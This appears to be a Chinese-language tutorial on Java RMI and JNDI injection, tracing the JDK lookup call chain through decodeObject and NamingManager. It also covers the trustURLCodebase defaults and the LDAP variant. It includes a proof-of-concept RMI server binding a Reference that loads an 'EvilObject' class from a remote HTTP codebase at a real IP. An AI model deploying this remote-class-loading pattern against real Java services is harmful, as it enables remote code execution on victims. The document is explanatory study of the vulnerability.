Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序 编程接口 。
RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。
RMI的简单实现
Server端
//定义远程对象的接口 public interface HelloService extends Remote { String say() throws RemoteException; } //接口的实现 public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { public HelloServiceImpl() throws RemoteException{ super(); } @Override public String say() throws RemoteException { return "Hello"; } } //注册远程对象 public class Service { public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException { HelloServiceImpl helloService = new HelloServiceImpl(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://127.0.0.1/hello",helloService); } }
Client端
public class Client { public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException { HelloService helloService = (HelloService) Naming.lookup("rmi://127.0.0.1/hello"); System.out.println(helloService.say()); } }
RMI 采用stubs 和 skeletons 来进行远程对象(remote object)的通讯。stub 充当远程对象的客户端代理,有着和远程对象相同的远程接口,远程对象的调用实际是通过调用该对象的客户端代理对象stub来完成的。
客户端调用stub(存根上的方法),存根负责将要调用的远程对象方法的方法名以及其参数编组打包,并且通过Socket通信发送给Skeleton,Skeleton将客户端发送过来的数据包中的方法名以及编组的参数进行解析,并且在服务端将此方法执行,执行完毕后将返回值通过相反的路径返回给客户端Stub,Stub将返回结果解析后给客户程序。
RMIClient
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class RMIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8080/refObj"); String data = "This is RMI Client."; //System.out.println(serv.service(data)); } catch (NamingException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
RMIServer
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(8080); Reference refObj = new Reference("EvilObject", "EvilObject", "http://139.224.236.99/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:8080/refObj'"); registry.bind("refObj", refObjWrapper); } }
执行触发
调用链分析
InitialContext.java
public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }
GenericURLContext.java
public Object lookup(String var1) throws NamingException { //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址 //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext //进入不同的协议路线 ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据 Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象 Object var4; try { var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa } finally { var3.close(); } return var4; }
RegistryContext.java
public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0)); } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1)); } }
RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { //如果是Reference对象的话,将进行一次RMI服务器的链接,获取远程class文件 Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this, this.environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
NamingManager.java
if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively //跟进 factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); }
通过getObjectFactoryFromReference或者getObjectInstance进行命令执行,这两个命令执行点都可以进行命令执行,不过第一个在执行的时候会发生报错,由于我们自定义的类实例化后不能转化为ObjectFactory,所以我们需要定义的类要继承该类,并且重写getObjectInstance接口,完成第二处命令执行
try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
先尝试本地或者此class,在本地不存在此class的情况下,从codebase中获取此class并且进行加载和实例化
当注册RMI服务的时候,可以指定远程加载类codebase url的位置,通过该属性可以让JNDI来加载我们指定的远程类,当 JNDI
应用程序通过 lookup
(RMI服务的地址)调用指定 codebase url
上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
public class RMIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8080/refObj"); String data = "This is RMI Client."; //System.out.println(serv.service(data)); } catch (NamingException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
通过上面这段代码,我们会发现我们是需要一个可控的参数的,并且在java高版本中和低版本的某些版本中 系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false ,即默认不允许从远程的Codebase加载Reference工厂类。
除了RMI实现JNDI注入外,同样LDAP也可以实现JNDI注入,同RMI来对比, LDAP
服务的 Reference
远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase
、 com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,不过在之后的版本,也对这些属性进行了限制,如 对com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false.
JNDIClient
import javax.naming.Context; import javax.naming.InitialContext; import javax.swing.*; public class LDAPClient { public static void main(String[] args) throws Exception { String uri = "ldap://127.0.0.1:8088/aa"; // String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
调用过程和RMI触发JNDI差不多,就不详细分析了。
其实和RMI的差不多,就不再赘述了。
这个问题是看Seebug发现的,不过在调试RMI 触发的这个过程正好可以解决这个问题,文章的作者也给了很详细的说明
Q:oC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。
对于这段代码
public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0)); } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1)); } }
这段代码的主要作用是从registry中拿出远程对象赋给var2,并且这个var2为stud类型
关键在于下一段的代码处理
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this, this.environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
decodeObject
函数将 stub 还原成了 Reference,所以才可以造成代码执行。